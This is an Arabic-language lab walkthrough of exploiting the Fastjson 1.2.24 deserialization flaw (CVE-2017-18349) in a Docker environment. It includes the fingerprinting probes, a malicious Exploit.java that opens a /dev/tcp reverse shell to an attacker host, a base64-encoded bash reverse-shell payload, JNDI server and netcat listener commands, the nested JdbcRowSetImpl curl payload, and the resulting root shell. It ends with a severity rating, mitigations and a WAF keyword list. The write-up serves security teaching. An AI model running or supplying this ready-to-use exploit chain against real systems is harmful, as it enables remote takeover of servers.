
دليل خطوة بخطوة لاستغلال ثغرة RCE في إلغاء تسلسل Fastjson (CVE-2017-18349)، مع تغطية تحديد سطح الهجوم، وبصمة النظام، وحقن JNDI، والحصول على قشرة عكسية في بيئة مختبر Docker.
لنبدأ بمعرفة ما يعمل في البيئة. سأدرج جميع الحاويات النشطة:
docker ps

الضحية يعرض منفذاً واحداً فقط: 8090
حالياً، لا أزال غير واضح تماماً بشأن الهدف. من نتائج docker ps، ينشر النظام خدمة واحدة ملحوظة فقط خارجياً على المنفذ 8090، وهي مرتبطة بالخدمة الداخلية للحاوية. هذا هو سطح الهجوم الرئيسي الذي يجب تحليله.
⇒ سأستخدم Curl مباشرة لاستكشاف المزيد من المعلومات
curl -i 192.168.3.137:8090/

تحليل الاستجابة:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ تفكير: عند الوصول إلى المنفذ 8090، يعيد الخادم بيانات JSON. يشير هذا إلى أن نقطة النهاية لا تخدم مجرد صفحة ويب ثابتة، بل يوجد خلفية تقوم بمعالجة الطلبات وتسلسل البيانات إلى JSON لإعادتها إلى العميل. من نتائج docker ps، يظهر الأمر المُشغَّل داخل الحاوية مؤشرات على أنه تطبيق Java، لذا فإن الاتجاه التالي للفحص هو التعرف على محللات JSON الشائعة في Java.
في Java، تتصرف مكتبات JSON الشهيرة مثل Jackson وGson وFastjson بشكل مختلف عند مواجهة مدخلات غير معتادة. لذلك، يمكننا استخدام تقنية التعرف على البصمات المبنية على الأخطاء (Error-based Fingerprinting). فالخطأ المرتجع قد يكشف أحياناً بشكل مباشر عن المكتبة أو آلية المعالجة الداخلية. ومن بينها، تُعد Fastjson هدفاً يحتاج إلى تحقق مبكر لأن الإصدارات القديمة كانت تحتوي على ثغرات حرجة متعددة تتعلق بإلغاء التسلسل AutoType Deserialization.
هنا، لا أؤكد فوراً أن الخلفية تستخدم Fastjson. أختار Fastjson كأول اتجاه للفحص فقط لأنه يملك بصمة واضحة من خلال مفتاح @type، وإذا كان بالفعل إصداراً قديماً من Fastjson، فإن قدرة الاستغلال قد تتجاوز بكثير خطأ تحليل قياسي، وربما تصل إلى تنفيذ أوامر عن بُعد (RCE).
يمتلك Fastjson خاصية مفيدة جداً للتعرف على البصمة: فهو يتعرف على مفتاح @type الخاص. إذا كانت الخلفية تستخدم Fastjson وكان نص الطلب المُرسل إلى عملية إلغاء التسلسل يدعم AutoType، فقد يحاول المحلل تفسير قيمة @type كاسم فئة Java.
لذلك، أرسل حمولة تحتوي على @type يشير إلى فئة غير موجودة. الهدف من هذه الخطوة ليس الاستغلال الفوري، بل ملاحظة ما إذا كانت الخلفية تتفاعل مع @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

إذا كانت الخلفية تستخدم محلل JSON قياسياً ولا تهتم بـ @type، فقد يتم تجاهل هذا الحقل أو معاملته كمفتاح عادي في JSON. لكن هنا، تتفاعل الخلفية بسلوك مرتبط بالنوع (type not match)، مما يعني أن الطلب دخل في سير عمل معالجة تعيين الفئات/الأنواع.
رسالة "type not match" هي توقيع مميز غالباً ما يُصادف عندما يعالج Fastjson @type ولكن الفئة المحددة لا تتطابق مع نوع البيانات المتوقع من نقطة النهاية، أو أن الفئة غير موجودة/غير مسموح بإلغاء تسلسلها.
⇒ تفكير: الخلفية توزن بالفعل نص JSON لطلب POST، وحقل @type غير مُتجاهَل، والمحلل يمتلك آلية معالجة بيانات وصفية للأنواع، والخطأ المرتجع يطابق سلوك Alibaba Fastjson. لذلك يمكننا الاستنتاج بثقة عالية أن الخلفية تستخدم Alibaba Fastjson.**
بعد خطوة التعرف على البصمة، لا يمكنني الاستنتاج فوراً أن النظام قابل للاستغلال. استخدام الخلفية لـ Fastjson يثبت فقط أن طلب JSON يدخل في سير معالجة @type.
لتنفيذ استغلال RCE، يجب التحقق من التالي:
⇒ تفكير: خطأ type not match يُظهر أن الخلفية تتفاعل مع @type، لكن الحمولة الحالية تستخدم فقط فئة مزيفة لتفعيل خطأ. للاستغلال الفعلي، نحتاج إلى استبدال تلك الفئة المزيفة بفئة حقيقية موجودة في Java/JDK وقادرة على إنشاء سلوكيات صادرة مثل JNDI lookup.
لتحديد الإصدار، أفحص مباشرة داخل الحاوية/التطبيق.

بعد تحديد أن التطبيق مُعبأ كملف /usr/src/fastjsondemo.jar، أتابع بتحليل عميق لبنية هذه الحزمة للبحث عن مكتبة معالجة JSON. يكشف فحص بنية دليل BOOT-INF/lib/ عن الملف fastjson-1.2.24.jar (الشكل X).
استخدام الإصدار 1.2.24 تحديداً — أول وأشهر إصدار متأثر بثغرة إلغاء التسلسل دون أي آليات دفاع autoType — يسمح لنا بتأكيد أن النظام معرض لثغرة CVE-2017-18349.
العثور على fastjson-1.2.24.jar يؤكد أن التطبيق يستخدم إصداراً قديماً جداً من Fastjson، ينتمي إلى المجموعة المتأثرة بخلل AutoType Deserialization. في هذا الإصدار، لم تكن آلية التحكم في AutoType مشددة كما في الإصدارات اللاحقة، لذا فيما يتعلق بشروط المكتبة، فإن النظام قابل للاستغلال عبر فئات gadget مثل JdbcRowSetImpl.
ومع ذلك، فإن قابلية الاستغلال الفعلية لا تزال تعتمد على كيفية استدعاء نقطة النهاية لـ Fastjson. إذا كان التطبيق يحلل JSON إلى فئة ثابتة، فإن وضع حمولة @type في الكائن الجذر قد يؤدي إلى خطأ "type not match". لذلك، بعد تحديد الإصدار، يجب مواصلة تحليل JVM وفئة gadget وسلوك استدعاء LDAP للتأكد مما إذا كانت سلسلة الاستغلال تصل فعلياً إلى JNDI lookup.
1. تحليل حواجز JVM
بالإضافة إلى إصدار Fastjson، فإن إصدار Java هو أيضاً عامل حاسم. أفحص JVM داخل الحاوية:
java -version

هذه معلومة حرجة لأن سلاسل استغلال Fastjson تعتمد عادةً على حقن JNDI (JNDI Injection). الإصدارات الأحدث من Java قامت بحظر تحميل الفئات من قواعد الأكواد الخارجية عبر LDAP/RMI افتراضياً. ومع ذلك، فإن Java 8u102 هو إصدار قديم لا يمتلك هذه الآليات الحاجبة بعد.
لذلك، إذا تمكن المهاجم من تفعيل JNDI lookup، فإن JVM الخاص بالضحية لديه القدرة على تنزيل الفئة من خادم HTTP خارجي وتحميلها في بيئة التشغيل.
بعد تحديد Fastjson و JVM القديمين، الخطوة التالية هي العثور على فئة موجودة في JDK يمكنها إنتاج سلوك خطير عند إلغاء تسلسلها.
com.sun.rowset.JdbcRowSetImpl هي فئة gadget مناسبة لأن هذه الفئة موجودة في JDK وتمتلك خاصية dataSourceName. عندما يتم تعيين dataSourceName بقيمة بصيغة عنوان LDAP URL، يمكن استغلال الكائن لتفعيل JNDI lookup صادر.
⇒ تفكير: لا أحتاج إلى رفع كود مباشرة إلى الخادم. بدلاً من ذلك، أستفيد من فئة موجودة داخل JVM لإجبار الضحية على الاتصال بخادم LDAP يتحكم فيه المهاجم.
بعد تأسيس الشروط اللازمة المتعلقة بالمكتبة و JVM، أحتاج إلى التحقق مما إذا كانت الحمولة تجبر الضحية فعلياً على الاتصال خارجياً. هذه خطوة حرجة للتمييز بين:
إذا استقبل خادم LDAP أو المستمع اتصالاً من الضحية، فهذا يثبت أن الحمولة وصلت بنجاح إلى خطوة JNDI lookup. إذا لم يكن هناك استدعاء عائد وأعاد الخادم type not match، فهذا يشير إلى أن الحمولة الحالية لا تتطابق مع سير إلغاء التسلسل في نقطة النهاية. في هذه الحالة، يجب تعديل الحمولة لتطابق بنية الكائن المحددة التي تحللها نقطة النهاية، أو استخدام تجاوزات/فئات gadget بديلة.
من الخطوات أعلاه، يمكن تلخيص سلسلة شروط النظام على النحو التالي:
@type تشير إلى أن الخلفية تعالج آلية البيانات الوصفية للأنواع، بما يطابق سلوك Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl موجودة في JDK ويمكن استغلالها لتفعيل JNDI lookup من خلال خاصية dataSourceName.⇒ تفكير الاستغلال:
لا أحتاج إلى إيجاد وظائف رفع ملفات أو كتابة ملفات مباشرة على الخادم. بدلاً من ذلك، أستفيد من سير إلغاء التسلسل في Fastjson لإجبار JVM على إنشاء كائن JdbcRowSetImpl. عندما يستقبل هذا الكائن dataSourceName بصيغة عنوان LDAP URL، سيقوم الضحية بتنفيذ JNDI lookup إلى الخادم الذي يتحكم فيه المهاجم. من هناك، يمكن للمهاجم توجيه JVM لتنزيل الفئة الخبيثة من خادم HTTP خارجي وتنفيذ الكود داخل تلك الفئة.
لذلك، مسار الاستغلال المختار هو:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
في Fastjson 1.2.24، فئة com.sun.rowset.JdbcRowSetImpl هي فئة gadget موجودة في classpath الخاص بـ JVM (تنتمي إلى المكتبة القياسية rt.jar). عندما يقوم Fastjson بإلغاء تسلسل سلسلة JSON تحتوي على @type يشير إلى هذه الفئة:
JdbcRowSetImpl.setDataSourceName() ← تعيين عنوان JNDI.setDataSourceName() إلى تفعيل InitialContext.lookup(dataSourceName) داخلياً ← يحدث حقن JNDI بأكمله هنا، قبل أن تتاح الفرصة لتنفيذ setAutoCommit().Exploit.class من HTTP Codebase، وتحميله في الذاكرة ← تنفيذ كتلة static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
نظراً لأن JVM الخاص بالضحية يعمل بـ Java 8u102، يجب تحديد الهدف على أنه Java 8 أثناء الترجمة. وإلا، سيرمي الضحية خطأ UnsupportedClassVersionError وستفشل سلسلة الهجوم بصمت. بعد ذلك، قم بإعداد خادم HTTP Codebase:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-Exploitنظراً لأن بيئة Kali تعمل بـ Java 25 — وهو إصدار أحدث من أن يُبنى به marshalsec — نستخدم الأداة البديلة JNDI-Injection-Exploit. أولاً، أنشئ حمولة الصدفة العكسية بتنسيق base64:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
شغّل خادم JNDI بالحمولة أعلاه:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

تقوم الأداة تلقائياً بتوليد نقطة نهاية LDAP:
ldap://192.168.3.114:1389/6bzjwg
افتح منفذ الاستماع للصدفة العكسية:
nc -lvnp 4444
نلاحظ أن وضع حمولة @type في الكائن الجذر يعيد خطأ type not match — لأن وحدة تحكم Spring Boot تقوم بتعيين JSON إلى نوع ثابت، لا يتطابق مع JdbcRowSetImpl على المستوى الجذر.
تعديل الحمولة: قم بتغليف فئة gadget داخل حقل متداخل ("data":{...}) بحيث يعالج Fastjson الكائن المتداخل بشكل مستقل عن قيد النوع الخاص بوحدة التحكم:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

في خادم LDAP (marshalsec): تم تسجيل طلب استعلام JNDI ناجح من عنوان IP الخاص بالضحية وإعادة توجيهه إلى HTTP codebase.
في خادم HTTP (Python): تم تسجيل طلب تنزيل ملف Exploit.class برمز حالة 200 OK من عنوان IP الخاص بالضحية، مما يثبت أن JVM قام بتحميل البايت كود بنجاح.
في مستمع Netcat: تم إنشاء الجلسة التفاعلية بنجاح (صدفة عكسية):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
تم التحقق بنجاح من سلسلة الاستغلال الكاملة: من إرسال حمولة JSON ← JNDI lookup ← إحالة LDAP ← تحميل الفئة عن بُعد ← تنفيذ الكود في كتلة static {} ← إنشاء صدفة عكسية بصلاحيات root.
ثغرة تنفيذ الأوامر عن بُعد عبر إلغاء تسلسل Fastjson (CVE-2017-18349) على هذا النظام مصنفة عند أعلى مستوى خطورة:
| المعيار | التقييم | التفاصيل |
|---|---|---|
| درجة CVSS | 9.8 (حرجة) | مستوى خطر مرتفع للغاية — أقل من 10.0 المطلق فقط لأنه لا يتطلب وصولاً شبكياً خاصاً. |
| المصادقة | غير مطلوبة | لا يحتاج المهاجم إلى أي حساب أو بيانات اعتماد لاستغلالها. أي شخص قادر على إرسال طلب HTTP يمكنه الهجوم. |
| التعقيد | منخفض جداً | يتطلب فقط إرسال طلب واحد HTTP POST يحتوي على حمولة JSON صالحة — لا حاجة لأدوات معقدة أو شروط خاصة. |
| حماية JVM | لا توجد | لا يمتلك Java 8u102 آلية لحظر تحميل الفئات عن بُعد (trustURLCodebase مضبوط على true افتراضياً)، مما يسمح لسلسلة حقن JNDI ← تحميل الفئات عن بُعد بالعمل دون عوائق. |
| الصلاحيات المكتسبة | root | سيطرة كاملة على حاوية التطبيق بأعلى مستوى صلاحيات — قراءة/كتابة/حذف أي ملف، بما في ذلك /etc/shadow. |
| الحركة الجانبية | عالية | من الحاوية المخترقة، يمكن للمهاجم فحص الشبكة الداخلية (172.19.0.0/16) ومهاجمة حاويات أخرى في نفس شبكة Docker project1_default. |
لحل هذه الثغرة بشكل كامل، يجب تنفيذ الإجراءات بالترتيب التالي حسب الأولوية:
1.2.83). من الإصدار 1.2.25 فصاعداً، تم تعطيل ميزة autoType افتراضياً وإضافة آلية قائمة حظر صارمة — مما يزيل مباشرة ناقل الهجوم الخاص بـ CVE-2017-18349. أو فكر في الانتقال إلى مكتبة بديلة أفضل صيانة مثل Jackson أو Gson.com.sun.jndi.ldap.object.trustURLCodebase على false افتراضياً — مما يحظر تماماً قدرة JVM على تحميل الفئات تلقائياً عن بُعد عبر LDAP/RMI، ويكسر سلسلة حقن JNDI حتى لو كانت Fastjson لا تزال تحتوي على الثغرة.root. أنشئ مستخدماً مخصصاً (مثل app_user) بصلاحيات دنيا — حتى إذا حقق المهاجم تنفيذ أوامر عن بُعد، سيكون الضرر محصوراً ضمن نطاق صلاحيات ذلك المستخدم.SafeMode في الكود المصدري لإيقاف تشغيل autoType تماماً:ParserConfig.getGlobalInstance().setSafeMode(true);
أو أنشئ قائمة بيضاء صارمة تسمح فقط بإلغاء تسلسل الفئات المعتمدة.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network و iptables المناسبة.